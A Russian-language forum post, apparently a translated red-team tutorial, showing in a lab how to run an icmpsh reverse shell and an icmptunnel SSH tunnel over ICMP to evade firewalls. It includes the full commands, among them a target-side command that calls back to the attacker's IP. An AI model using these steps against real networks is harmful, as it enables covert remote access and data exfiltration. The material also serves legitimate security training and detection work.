Статья C2 через ICMP

icmp.jpg

В этой статье вы узнаете о способах RED TEAM для эксфильтрации данных через ICMP-C2 и туннелировании ICMP, поскольку оба способа подходят для обхода правил брандмауэра, тк.к они генерируют обычный трафик в сети.

Оглавление:
1. Краткое описание работы протокола ICMP
2. Командование и управление через протокол ICMP
2.1 Зависимости​
2.2 icmpsh: C2-канал и его установка​
2.3 Запуск icmpsh как сервер​
2.4 Запуск icmpsh как клиент​
3. ICMP туннелирование
3.1 Зависимости​
3.2 Конфигурация ICMP через серверную машину (цель)​
3.3 Настройка туннеля ICMP через клиентскую машину (злоумышленник)​
3.4 Подключение SSH через ICMP​

Краткое описание работы протокола ICMP

Протокол межсетевых управляющих сообщений (ICMP) является вспомогательным протоколом в наборе протоколов интернета.
Он используется сетевыми устройствами, включая маршрутизаторы, для отправки сообщений об ошибках и оперативной информации (информации об состоянии объекта), которая указывает на то, что запрошенная служба,хост или маршрутизатор недоступны.


Это 3 уровень (в модели OSI), то есть протокол сетевого уровня, используемый командой ping для отправки сообщения через полезную нагрузку ICMP, которая зафиксирована с пакетом заголовка IP. Согласно MTU размер пакета ICMP не может быть больше 1500 байт.


ICMP-пакет на сетевом уровне

Без имени-1.png



Команда ping отправляет эхо-запрос к ICMP целевому хосту. Целевой хост отвечает эхо-ответом, который означает, что целевой хост жив (работает).

Командование и управление через протокол ICMP

Во многих наших публикациях мы обсуждали канал C2, который еще называют "командным и контрольным", поэтому вы можете узнать его здесь. Хотя вам приятно узнать, как использовать протокол ICMP в качестве канала управления и контроля между этим тезисом. Впрочем вам будет приятно узнать, как использовать протокол ICMP в качестве канала управления и контроля.

Кибер-атаки прогуливаются по взломщикам и ИБ-шникам поэтому нам нужен частичный план резервного копирования. Поскольку все мы знаем, что компании стали умнее, они понимают как отследить TCP reverse подключение. Таким образом, мы придумали секретный shell ICMP, который использует icmpsh в качестве C2.

Зависимости

Атакующая машина или C2-канал: 192.168.1.108 (Kali Linux)
Хост машина: 192.168.1.106 (Windows 10)

Icmpsh: C2-канал и его установка


icmpsh - это простая обратная оболочка ICMP с поддержкой win32 и POSIX на C, Perl или Python. Основное преимущество по сравнению с другими аналогичными инструментами с открытым исходным кодом заключается в том, что ему не требуются административные привилегии для запуска на целевой машине.


Инструмент чистый, легкий и портативный. Клиент работает под Windows, он написан на C и работает только на Windows, тогда как сервер может работать на любой платформе (на атакующей машине).

Его очень легко установить и использовать как c2-канал. Включите компьютер и загрузите icmpsh с Github.

Код:
git clone https://github.com/inquisb/icmpsh.git

1.png


Запуск icmpsh как сервер

После завершения загрузки вы можете использовать следующую команду для запуска сервера. Самый важный шаг перед выполнением действий - отключить пинг-ответ на вашем компьютере.
Это для того, чтобы ядро не отвечало на свои ICMP пакеты.

Код:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
cd icmpsh
syntax: ./icmpsh_m.py <attacker’s-IP> <target-IP>
./icmpsh_m.py 192.168.1.108 192.168.1.106

2.png


Запуск icmpsh как клиент


Теперь установите инструмент icmpsh внутри хост машины для работы в качестве клиента.
Теперь выполните эти команды:

Код:
syntax: icmpsh.exe -t <Kali IP>
icmpsh.exe -t 192.168.1.108

3.png



Как только вышеприведенная команда будет выполнена на хост машине мы получим обратную оболочку. На изображении, приведенном ниже, вы можете наблюдать это.

4.png



Так, как мы уже говорили, что с помощью ping icmpsh получает обратную оболочку хост-машины по каналу icmp. Поэтому я просто запущу команду и использую Wireshark для захвата ее пакета, чтобы узнать что происходит.

7.png



Замечательно!! Это работает точно так, как мы предполагали, и данные передаются по сетевому уровню с помощью пакетов запроса/ответа PING, таким образом, никакие службы или порт не требуются. Трафик не обнаруживается брандмауэрами на основе прокси, и это может обходить правила брандмауэра.

8.png


ICMP туннелирование

ICMP-туннель - это подход, который работает путем туннелирования TCP-соединений через ICMP-пакеты. Здесь мы получим доступ к ssh-сессии, которая будет установлена ICMP-пакетами. Следовательно, снова будет установлено TCP-соединение на уровне 3 (по OSI), то есть на сетевом уровне, который будет как полезная нагрузка ICMP, и это может быть полезно для обхода правила брандмауэра.

Зависимости

Серверная машина
ens33: 192.168.1.108
tun0: 10.0.0.1

Клиентская машина
eth0: 192.168.1.111
tun0: 10.0.0.2

icmptunnel обеспечивает более надежный протокол и механизм для туннелирования через межсетевые экраны с отслеживанием состояния и NAT.

Конфигурация ICMP через серверную машину (цель)

Загрузите и установите icmptunnel на хост-компьютере и скомпилируйте файл, как показано на рисунке ниже.

Код:
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make

15.png


Отключите эхо-ответ ICMP как на клиенте, так и на сервере.

Код:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

На стороне сервера запустите icmptunnel в режиме сервера и назначьте IP-адрес новому туннельному интерфейсу.

Код:
./icmptunnel -s
Ctrlz
bg
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
ifconfig

16.png


Настройка туннеля ICMP через клиентскую машину (злоумышленник)

Аналогичным образом повторите тот же процесс на компьютере нарушителя, чтобы установить icmptunnel для однорангового соединения.

Код:
git clone https://github.com/jamesbarlow/icmptunnel.git

18.png



Сначала скомпилируйте его, а затем отключите эхо-ответ ICMP.

Код:
cd icmptunnel
make
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 192.168.1.108
ctrl z
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

19.png


Подключение SSH через ICMP

В этот момент у вас должен быть point-to-point туннель через пакеты ICMP. У меня 10.0.0.1 на стороне сервера и 10.0.0.2 на стороне клиента. Попробуeм подключиться к серверу через SSH по протоколу tcp на клиенте:
Код:
ssh raj@10.0.0.1

20.png



Туннель icmp подключен между сервером и клиентом на начальном этапе ( фазе инициализации), что можно увидеть на следующем изображении, где мы захватили трафик, проходящий между сервером и клиентом с помощью Wireshark.
21.png



Каждый трафик ICMP. Пакет HTTP / IP можно рассматривать как часть полезной нагрузки ICMP. Обратите внимание, каким образом исходный IP был выдан nat. Таким образом, трафик не пойдет на транспортный уровень для подключения SSH через порт 22.

22.png


Источник:

P.S Старался сделать максимально хороший перевод для вас <3. Если заметили ошибки или еще что-то подобное пишите мне исправлю.
 
Последнее редактирование модератором:

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 188
BIT
0
вот это подход к делу конкретный, только Бро мало ко это оценит... им кнопку "hack" подавай!))) развивайся твоя тема ооочень а***нная!
 
Последнее редактирование модератором:
N

N3lL__

Очень круто и информативно
Спасибо за труд
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!